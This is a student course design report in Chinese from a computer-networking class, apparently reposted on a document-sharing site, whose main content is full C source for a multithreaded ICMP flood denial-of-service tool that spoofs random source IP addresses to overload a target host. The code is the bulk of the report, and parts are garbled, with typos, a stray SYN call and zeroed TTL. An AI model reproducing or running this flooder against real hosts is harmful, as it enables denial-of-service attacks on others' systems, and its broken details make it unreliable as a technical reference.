ICMP洪水攻击

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

设计报告
课程计算机网络 _ 设计名称 ICMP洪水攻击 _专业班级 ___
同组人姓名 __ _ 同组人学号 _
实验日期 2013年4月8日—2013年4月12日指导教师
成绩
2013 年 4 月 8 日
一、设计目的和要求
实验目的
本次实验主要是利用原始套接字伪装IP地址来实现ICMP洪水攻击.让被攻击的主机接收到大量的ICMP包,造成被攻击的主机负载,从而达到攻击的目的。

实验要求
编写程序并使得该程序可以在linux系统中成功运行,进而可以的对被攻击的主机造成影响。

二、设计说明(包括设计分析,系统运行环境,设计中的重点和难点)
1.设计分析
本实例的ICMP代码是简单的直接方法,建立多个线程向同一个主机发送ICMP 请求,而本地的IP地址是伪装的。

由于程序仅发送响应,不接收响应,容易造成目标主机的宕机。

ICMP Flood是一种在ping基础上形成的,但是用ping程序很少能造成目标机的问题。

这里边最大的问题是提高处理的速度。

伪装IP攻击:在直接攻击的基础上,将发生方的IP地址伪装,将直接IP攻击的缺点进行了改进。

2.系统运行环境
虚拟机为:虚拟机Linux 系统
3. 设计中的重点和难点:
重点:
建立多个线程向同一个主机发送ICMP请求,由于程序仅发送响应,不接收响应,造成目标主机的宕机。

难点:
随机函数myrandom(),多线程函数DoS_fun(),ICMP头部打包函数
DoS_icmp(),线程函数DoS_fun的创建和应用理解。

二、系统详细设计(包括程序流程、主要函数等)
程序流程图
1、随机函数myrandom
随机函数主要为了生成一个不重复的并位于一定数值空间的值。

Srand()函数用于初始化随即函数产生器,由于random()函数式伪随机函数,是按照一定规律循环的,与srand()函数有关,所以每次用不同的值进行初始化,这样产生的随即数就有了真正地随即性。

/*随机函数产生函数
*由于系统的函数为伪随机函数
*其与初始化有关,因此每次用不同的值进行初始化*/
Static inline long
myrandom(int begin ,int end)
{
Int qap=end-begin+1;
Int ret=0;
Srand((unsigned)time(0));
Ret=random(emd)%gap+begin;
Renturn ret;
}
2、多线程函数dos-fun()
本程序也是使用多线程进行协同工作,线程函数为dos-fun(),一直进行syn的链接。

Static void
Dos-fun (unsigned long ip)
{
While (alive)
{
Dos-syn();
}
}
3、icmp头部打包函数dos-icmp()
Dos-icmp()函数打包并填充ip头部,icmp头部发送数据报文。

由于打包函数式本程序中最经常使用的,容易造成计算上的瓶颈,所以对其进行了优化,校验和并没有完全计算,而仅仅计算了两次数据变化造成的校验和差值。

Static void
Dos-icmp (void )
{
Struct sockaddr_in to ;
Struct ip *iph;
Struct icmp*icmph;
Char *packet;
ulong temp;
int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;
packet =(char *)malloc (pktsize);
iph = (struct ip *) packet;
icmph = (struct icmp *) (packet + sizeof (struct ip));
memset (packet, 0, pktsize);
iph->ip_v = 4;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = htons (pktsize);
iph->ip_id = htons (getpid ());
iph->ip_off = 0;
/* TTL */
iph->ip_ttl = 0x0;
iph->ip_p = PROTO_ICMP;
iph->ip_sum = 0;
temp = myrandom(0, 65535);
iph->ip_src = *(struct in_addr *)&temp;
iph->ip_dst = *(struct in_addr*)&dest;
icmph->icmp_type = ICMP_ECHO;
icmph->icmp_code = 0;
icmph->icmp_cksum = htons (~(ICMP_ECHO << 8));
to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(0);
sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));
free (packet);
}
4.线程函数Dos_fun
当alive为1一直执行函数icmp()
Static void
DoS_fun (void * ip)
{
while(alive)
{
DoS_icmp();
}
}
5.函数的头文件及重要的变量代码
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h> #include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <syslog.h>
#include <stdio.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h> #include <netdb.h>
#include <setjmp.h>
#include <errno.h>
#include <sys/time.h>
/* 最多线程数 */
#define MAXCHILD 128
/* 目的IP地址 */
static unsigned long dest = 0; /* ICMP协议的值 */
static int PROTO_ICMP = -1;
/* 程序活动标志 */
static int alive = -1;
6.主函数
int main(int argc, char *argv[])
{
struct hostent * host = NULL;
struct protoent *protocol = NULL;
char protoname[]= "icmp";
int i = 0;
pthread_t pthread[MAXCHILD];
int err = -1;
unsigned long temp;
alive = 1;
/* 截取信号CTRL+C */
signal(SIGINT, DoS_sig);
/* 参数是否数量正确 */
if(argc < 2)
{
printf("usage : \n");
return -1;
}
/* 获取协议类型ICMP */
protocol = getprotobyname(protoname); if (protocol == NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_ICMP = protocol->p_proto;
/* 输入的目的地址为字符串IP地址 */ dest = inet_addr(argv[1]);
if(dest == INADDR_NONE)
{
/* 为DNS地址 */
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
temp = inet_addr(host->h_addr); /* 将地址拷贝到dest中 */
memcpy((char *)&dest, &temp, host->h_length);
}
printf("dst ip: %s\n", inet_ntoa(*(struct in_addr*)&dest));
sleep(5);
/* 建立原始socket */
rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);
if (rawsock < 0)
rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);
/* 设置IP选项 */
setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));
/* 建立多个线程协同工作 */
for(i=0; i<MAXCHILD; i++)
{
err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i); }
/* 等待线程结束 */
for(i=0; i<MAXCHILD; i++)
{
pthread_join(pthread[i], NULL);
}
printf("over \n");
close(rawsock);
return 0;
}
四、程序源代码及注释
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <syslog.h>
#include <stdio.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <setjmp.h>
#include <errno.h>
#include <sys/time.h>
static int rawsock;
/* 随机函数产生函数
* 由于系统的函数为伪随机函数
* 其与初始化有关,因此每次用不同值进行初始化*/
static inline ulong
myrandom (int begin, int end)
{
int gap = end - begin +1;
int ret = 0;
/* 用系统时间初始化 */
srand((unsigned)time(0));
/* 产生一个介于begin和end之间的值 */
ret = random()%gap + begin;
return ret;
}
static void DoS_icmp (void );
static void
DoS_icmp (void )
{
struct sockaddr_in to;
struct ip *iph;
struct icmp *icmph;
char *packet;
ulong temp;
int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64; packet =(char *)malloc (pktsize);
iph = (struct ip *) packet;
icmph = (struct icmp *) (packet + sizeof (struct ip));
memset (packet, 0, pktsize);
/* IP的版本,IPv4 */
iph->ip_v = 4;
/* IP头部长度,字节数 */
iph->ip_hl = 5;
/* 服务类型 */
iph->ip_tos = 0;
/* IP报文的总长度 */
iph->ip_len = htons (pktsize);
/* 标识,设置为PID */
iph->ip_id = htons (getpid ());
/* 段的便宜地址 */
iph->ip_off = 0;
/* TTL */
iph->ip_ttl = 0x0;
/* 协议类型 */
iph->ip_p = PROTO_ICMP;
/* 校验和,先填写为0 */
iph->ip_sum = 0;
/* 发送的源地址 */
temp = myrandom(0, 65535);
iph->ip_src = *(struct in_addr *)&temp;
/* 发送目标地址 */
iph->ip_dst = *(struct in_addr*)&dest;
/* ICMP类型为回显请求 */
icmph->icmp_type = ICMP_ECHO;
/* 代码为0 */
icmph->icmp_code = 0;
/* 由于数据部分为0,并且代码为0,直接对不为0即icmp_type部分计算 */
icmph->icmp_cksum = htons (~(ICMP_ECHO << 8));
/* 填写发送目的地址部分 */
to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(0);
/* 发送数据 */
sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));
/* 释放内存 */
free (packet);
}
static void *
DoS_fun (void * ip)
{
while(alive)
{
DoS_icmp();
}
}
/* 信号处理函数,设置退出变量alive */
static void
DoS_sig(int signo)
{
alive = 0;
}
int main(int argc, char *argv[])
{
struct hostent * host = NULL;
struct protoent *protocol = NULL;
char protoname[]= "icmp";
int i = 0;
pthread_t pthread[MAXCHILD];
int err = -1;
unsigned long temp;
alive = 1;
/* 截取信号CTRL+C */
signal(SIGINT, DoS_sig);
/* 参数是否数量正确 */
if(argc < 2)
{
printf("usage : \n");
return -1;
}
/* 获取协议类型ICMP */
protocol = getprotobyname(protoname);
if (protocol == NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_ICMP = protocol->p_proto;
/* 输入的目的地址为字符串IP地址 */
dest = inet_addr(argv[1]);
if(dest == INADDR_NONE)
{
/* 为DNS地址 */
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
temp = inet_addr(host->h_addr);
/* 将地址拷贝到dest中 */
memcpy((char *)&dest, &temp, host->h_length);
}
printf("dst ip: %s\n", inet_ntoa(*(struct in_addr*)&dest)); sleep(5);
/* 建立原始socket */
rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);
if (rawsock < 0)
rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);
/* 设置IP选项 */
setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));
/* 建立多个线程协同工作 */
for(i=0; i<MAXCHILD; i++)
{
err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i); }
/* 等待线程结束 */
for(i=0; i<MAXCHILD; i++)
{
pthread_join(pthread[i], NULL);
}
printf("over \n");
close(rawsock);
return 0;
}
五、编译测试
运行命令:
六、总结
在这次课程设计中通过对ICMP洪水攻击的分析和实现,了解到ICMP Flood是一种在ping基础上形成的,但是用ping程序很少能造成目标机的问题。

所以利用原始套接字伪装IP地址来实现ICMP洪水攻击.让被攻击的主机接收到大量的ICMP包,造成被攻击的主机负载,这里边最大的问题是提高处理的速度。

通过调试程序,运行结果,在此过程中我们也遇到许多困难和阻碍,但是在小组成员的一致努力下,一起查阅相关资料,一起讨论分析,在老师的协助指导下最终解决了这些困难,完成了程序预期的功能。

虽然本程序不尽完善,但通过这次课程设计,使我们收获很多,而且加强了动手能力,独立思考能力,解决问题的能力等。

相关文档
最新文档